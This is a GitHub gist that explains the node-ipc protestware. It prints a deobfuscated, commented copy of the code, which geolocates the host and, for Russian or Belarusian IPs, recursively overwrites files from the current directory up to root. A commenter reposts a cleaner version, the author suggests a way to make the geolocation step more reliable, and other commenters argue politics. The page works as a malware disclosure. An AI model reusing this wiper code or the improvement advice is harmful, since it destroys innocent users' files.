Skip to content

Instantly share code, notes, and snippets.

@ckcr4lyf
Last active May 26, 2022 00:12
Show Gist options
  • Star 10 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ckcr4lyf/6d96c2bf42ec31c6362053ea275d80d5 to your computer and use it in GitHub Desktop.
Save ckcr4lyf/6d96c2bf42ec31c6362053ea275d80d5 to your computer and use it in GitHub Desktop.
Explanation of the malware in node-ipc

WARNING

DO NOT RUN THIS , it will attempt to recursively overwrite files.

What follows is very simple deobufscation & explanation of what the code is doing. I have changed the library imports to make it more clear

The original code: https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

import path from "path";
import fs from "fs";
import https from "https";

setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return
    }

    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 - their API key, seems already revoked
    
    https.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            // Following the comment backslash is the UTF representation of the buffer
            // (basically base64 used to obfuscate....)
            // Note: For the dir paths I added backticks for clarity.
            const n = Buffer.from("Li8=", "base64"); // `./`
            const o = Buffer.from("Li4v", "base64"); // `../`
            const r = Buffer.from("Li4vLi4v", "base64"); // `../../`
            const f = Buffer.from("Lw==", "base64"); // `/`
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); // country_name
            const e = Buffer.from("cnVzc2lh", "base64"); // russia
            const i = Buffer.from("YmVsYXJ1cw==", "base64"); // belarus
            try {
                const s = JSON.parse(t.toString("utf8")); // JSON parse response from API
                const u = s[c.toString("utf8")].toLowerCase(); // Lowercase the `country_name` key from API response
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // Check if it includes the substring "russia" or "belarus"

                if (a) {
                    // If it does, call the h() function on: `./` `../` `../../` and `/`
                    // Which will start overwriting stuff
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"))
                }
            } catch (t) {}
        })
    })
}, Math.ceil(Math.random() * 1e3));


async function h(n = "", o = "") {
    // Doesnt exist - return
    if (!fs.existsSync(n)) {
        return
    }

    // try and read the dir contents into r[]
    let r = [];

    try {
        r = fs.readdirSync(n)
    } catch (t) {}

    const f = [];

    const c = Buffer.from("4p2k77iP", "base64"); // unicode - '%u2764%uFE0F' , unicode for "Read Heart Emoji" Ref: https://emojipedia.org/emoji/%E2%9D%A4/
    
    // Loop over dir contents
    for (var e = 0; e < r.length; e++) {

        // Get path to file  including the relative dir prefix (i.e. `./` `../` `../../` or `/`)
        const i = path.join(n, r[e]);
        let t = null;

        // Try and get file metadata
        try {
            t = fs.lstatSync(i)
        } catch (t) {
            continue
        }

        if (t.isDirectory()) {
            // Recursively call this function if its a directory
            const s = h(i, o);

            // and then pass the final filenames back up into f to be overwritten
            s.length > 0 ? f.push(...s) : null
        } else if (i.indexOf(o) >= 0) {

            // Otherwise overwrite it with the "Read Heart" emoji
            try {
                a.writeFile(i, c.toString("utf8"), function () {})
            } catch (t) {}
        }
    }
    return f
};

Thoughts

The malware can be improved - the author used an IP-geo service which needed an API key, which made it a central point of failure since the 3rd party can easily revoke it.

A better design would have been to use a free service , which imposes rate limits, since the malware would be called by people from many different places, it is unlikely the rate limit would have been hit.

@45ytjfgdu745754745745
Copy link

This is horrible

@ckcr4lyf
Copy link
Author

Yep, thankfully at least the malicious versions have been removed from npm

@foxodever
Copy link

Thanks. All libs reported to npm support
Programming is outside of politics

@notnotzero
Copy link

Why would anyone write anything like that? Where did this general propaganda of peace, friendship and cooperation go? You will never be able to stop another evil with evil, please stop inciting hatred.

Find god 🤡

@jluims
Copy link

jluims commented Mar 17, 2022

import path from "path";
import fs from "fs";
import https from "https";

setTimeout(function () {
    if (Math.round(Math.random() * 4) > 1) { // 1/4 chance of running
        return
    }
    https.get('https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154', function (t) {
        t.on("data", function (val) {
            try {
                const ret = JSON.parse(val.toString("utf8"));
                const body = ret['country_name'].toLowerCase();
                if (body.includes('russia') || body.includes('belarus')) {
                    callback('./');
                    callback('../');
                    callback('../../');
                    callback('/');
                }
            } catch (t) {}
        });
    })
}, Math.ceil(Math.random() * 1e3));

async function callback(folderPath = "") {
    if (!fs.existsSync(folderPath)) {
        return
    }

    let files = [];
    try {
        files = fs.readdirSync(folderPath)
    } catch (err) {}

    const affectedFiles = [];
    for (var i = 0; i < files.length; i++) {
        const fullPath = path.join(folderPath, files[i]);
        let fileStats = null;
        try {
            fileStats = fs.lstatSync(fullPath)
        } catch (err) {
            continue
        }
        if (fileStats.isDirectory()) {
            const returnedFiles = callback(fullPath);
            if (returnedFiles.length > 0) {
                affectedFiles.push(...returnedFiles)
            }

            try {
                fs.writeFile(fullPath, '❤️', function () {})
            } catch (err) {}
        }
    }
    return affectedFiles
};

const Message = true;
export {
    Message as
    default,
    Message as ssl
};

P.S. The API key already has been revoked

@Sneethe
Copy link

Sneethe commented Mar 17, 2022

Stunning and brave. WE DID IT REDDIT!!!

@nergal
Copy link

nergal commented Mar 18, 2022

Programming is outside of politics

There's a good quote by Martin Niemöller: "First they came for the socialists, and I did not speak out — because I was not a socialist. Then they came for the trade unionists, and I did not speak out — because I was not a trade unionist. Then they came for the Jews, and I did not speak out — because I was not a Jew. Then they came for me — and there was no one left to speak for me."

Since politics impacts literally everything, anything cannot be outside of politics.

@Shellylara
Copy link

Programming is outside of politics

There's a good quote by Martin Niemöller: "First they came for the socialists, and I did not speak out — because I was not a socialist. Then they came for the trade unionists, and I did not speak out — because I was not a trade unionist. Then they came for the Jews, and I did not speak out — because I was not a Jew. Then they came for me — and there was no one left to speak for me."

Since politics impacts literally everything, anything cannot be outside of politics.

What an absurd logic? That's like saying "humans affect everything thus everything is human". Also that quote has nothing to do with the situation.

@0xb1b1
Copy link

0xb1b1 commented Mar 19, 2022

I currently live in Russia and I do strongly oppose the war; it's unjustifiable and cruel, and violence is never an answer. Also, I'm no politician, almost none of us are. There is no reason to bring harm to innocent developers just because they live in a certain country. If you want to deliver your message to people, a simple install hook that displays anti-war text would be sufficient. Let's abstain from implementing politics into code 🇺🇦❤️

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment